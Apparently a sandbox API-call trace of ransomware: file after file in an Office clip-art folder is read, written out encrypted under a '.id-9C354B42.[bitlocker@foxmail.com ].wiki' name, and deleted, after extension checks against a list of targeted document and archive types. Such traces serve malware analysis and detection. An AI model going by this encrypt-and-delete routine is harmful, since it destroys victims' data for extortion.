DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0192.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.962] lstrlenW (lpString=".doc") returned 4 [0192.962] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.963] lstrlenW (lpString=".docx") returned 5 [0192.963] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0192.963] lstrlenW (lpString=".pdf") returned 4 [0192.963] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.963] lstrlenW (lpString=".xls") returned 4 [0192.963] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.963] lstrlenW (lpString=".xlsx") returned 5 [0192.963] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0192.963] lstrlenW (lpString=".ppt") returned 4 [0192.963] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.963] lstrlenW (lpString=".zip") returned 4 [0192.963] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.963] lstrlenW (lpString=".rar") returned 4 [0192.963] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.963] lstrlenW (lpString=".bz2") returned 4 [0192.963] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.963] lstrlenW (lpString=".7z") returned 3 [0192.963] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.963] lstrlenW (lpString=".dbf") returned 4 [0192.963] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.963] lstrlenW (lpString=".1cd") returned 4 [0192.963] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.963] lstrlenW (lpString=".jpg") returned 4 [0192.963] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.964] lstrlenW (lpString=".doc") returned 4 [0192.964] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.964] lstrlenW (lpString=".docx") returned 5 [0192.964] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0192.964] lstrlenW (lpString=".pdf") returned 4 [0192.964] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.964] lstrlenW (lpString=".xls") returned 4 [0192.964] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.964] lstrlenW (lpString=".xlsx") returned 5 [0192.964] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0192.964] lstrlenW (lpString=".ppt") returned 4 [0192.964] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.964] lstrlenW (lpString=".zip") returned 4 [0192.964] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.964] lstrlenW (lpString=".rar") returned 4 [0192.964] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.964] lstrlenW (lpString=".bz2") returned 4 [0192.964] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.964] lstrlenW (lpString=".7z") returned 3 [0192.964] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.964] lstrlenW (lpString=".dbf") returned 4 [0192.964] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.964] lstrlenW (lpString=".1cd") returned 4 [0192.964] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0192.965] lstrlenW (lpString=".jpg") returned 4 [0192.965] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.965] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0192.965] lstrlenW (lpString="J0102762.WMF") returned 12 [0192.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.965] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=11216) returned 1 [0192.965] CloseHandle (hObject=0x220) returned 1 [0192.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 0x20 [0192.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.965] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.966] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.968] GetLastError () returned 0x0 [0192.968] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2bd0, lpOverlapped=0x0) returned 1 [0192.970] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0192.971] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.971] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.971] SetEndOfFile (hFile=0x1f4) returned 1 [0192.971] CloseHandle (hObject=0x1f4) returned 1 [0192.971] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.971] SetEndOfFile (hFile=0x220) returned 1 [0192.972] CloseHandle (hObject=0x220) returned 1 [0192.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0192.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.972] lstrlenW (lpString=".doc") returned 4 [0192.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.972] lstrlenW (lpString=".docx") returned 5 [0192.972] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0192.972] lstrlenW (lpString=".pdf") returned 4 [0192.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.973] lstrlenW (lpString=".xls") returned 4 [0192.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.973] lstrlenW (lpString=".xlsx") returned 5 [0192.973] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0192.973] lstrlenW (lpString=".ppt") returned 4 [0192.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.973] lstrlenW (lpString=".zip") returned 4 [0192.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.973] lstrlenW (lpString=".rar") returned 4 [0192.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.973] lstrlenW (lpString=".bz2") returned 4 [0192.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.973] lstrlenW (lpString=".7z") returned 3 [0192.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.973] lstrlenW (lpString=".dbf") returned 4 [0192.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.973] lstrlenW (lpString=".1cd") returned 4 [0192.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.973] lstrlenW (lpString=".jpg") returned 4 [0192.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.973] lstrlenW (lpString=".doc") returned 4 [0192.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.974] lstrlenW (lpString=".docx") returned 5 [0192.974] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0192.974] lstrlenW (lpString=".pdf") returned 4 [0192.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.974] lstrlenW (lpString=".xls") returned 4 [0192.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.974] lstrlenW (lpString=".xlsx") returned 5 [0192.974] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0192.974] lstrlenW (lpString=".ppt") returned 4 [0192.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.974] lstrlenW (lpString=".zip") returned 4 [0192.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.974] lstrlenW (lpString=".rar") returned 4 [0192.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.974] lstrlenW (lpString=".bz2") returned 4 [0192.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.974] lstrlenW (lpString=".7z") returned 3 [0192.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.974] lstrlenW (lpString=".dbf") returned 4 [0192.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.974] lstrlenW (lpString=".1cd") returned 4 [0192.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0192.974] lstrlenW (lpString=".jpg") returned 4 [0192.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.975] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0192.975] lstrlenW (lpString="J0102984.WMF") returned 12 [0192.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.975] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17040) returned 1 [0192.975] CloseHandle (hObject=0x220) returned 1 [0192.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 0x20 [0192.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.975] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.975] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.977] GetLastError () returned 0x0 [0192.977] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x4290, lpOverlapped=0x0) returned 1 [0192.980] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x42a0, lpOverlapped=0x0) returned 1 [0192.981] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.981] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.981] SetEndOfFile (hFile=0x1f4) returned 1 [0192.981] CloseHandle (hObject=0x1f4) returned 1 [0192.981] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.981] SetEndOfFile (hFile=0x220) returned 1 [0192.982] CloseHandle (hObject=0x220) returned 1 [0192.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.983] lstrlenW (lpString=".doc") returned 4 [0192.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.983] lstrlenW (lpString=".docx") returned 5 [0192.983] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0192.983] lstrlenW (lpString=".pdf") returned 4 [0192.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.983] lstrlenW (lpString=".xls") returned 4 [0192.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.983] lstrlenW (lpString=".xlsx") returned 5 [0192.983] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0192.983] lstrlenW (lpString=".ppt") returned 4 [0192.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.983] lstrlenW (lpString=".zip") returned 4 [0192.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.983] lstrlenW (lpString=".rar") returned 4 [0192.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.983] lstrlenW (lpString=".bz2") returned 4 [0192.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.983] lstrlenW (lpString=".7z") returned 3 [0192.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.983] lstrlenW (lpString=".dbf") returned 4 [0192.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.984] lstrlenW (lpString=".1cd") returned 4 [0192.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.984] lstrlenW (lpString=".jpg") returned 4 [0192.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.984] lstrlenW (lpString=".doc") returned 4 [0192.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.984] lstrlenW (lpString=".docx") returned 5 [0192.984] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0192.984] lstrlenW (lpString=".pdf") returned 4 [0192.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.984] lstrlenW (lpString=".xls") returned 4 [0192.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.984] lstrlenW (lpString=".xlsx") returned 5 [0192.984] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0192.984] lstrlenW (lpString=".ppt") returned 4 [0192.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.984] lstrlenW (lpString=".zip") returned 4 [0192.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.984] lstrlenW (lpString=".rar") returned 4 [0192.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.984] lstrlenW (lpString=".bz2") returned 4 [0192.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.984] lstrlenW (lpString=".7z") returned 3 [0192.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.984] lstrlenW (lpString=".dbf") returned 4 [0192.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.985] lstrlenW (lpString=".1cd") returned 4 [0192.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0192.985] lstrlenW (lpString=".jpg") returned 4 [0192.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.985] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0192.985] lstrlenW (lpString="J0103058.WMF") returned 12 [0192.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.985] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17344) returned 1 [0192.985] CloseHandle (hObject=0x220) returned 1 [0192.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 0x20 [0192.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.986] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.986] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.986] GetLastError () returned 0x0 [0192.986] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x43c0, lpOverlapped=0x0) returned 1 [0192.988] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x43d0, lpOverlapped=0x0) returned 1 [0192.989] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.989] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.990] SetEndOfFile (hFile=0x1f4) returned 1 [0192.990] CloseHandle (hObject=0x1f4) returned 1 [0192.990] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.990] SetEndOfFile (hFile=0x220) returned 1 [0192.991] CloseHandle (hObject=0x220) returned 1 [0192.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0192.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0192.991] lstrlenW (lpString=".doc") returned 4 [0192.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.991] lstrlenW (lpString=".docx") returned 5 [0192.991] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0192.991] lstrlenW (lpString=".pdf") returned 4 [0192.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.991] lstrlenW (lpString=".xls") returned 4 [0192.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 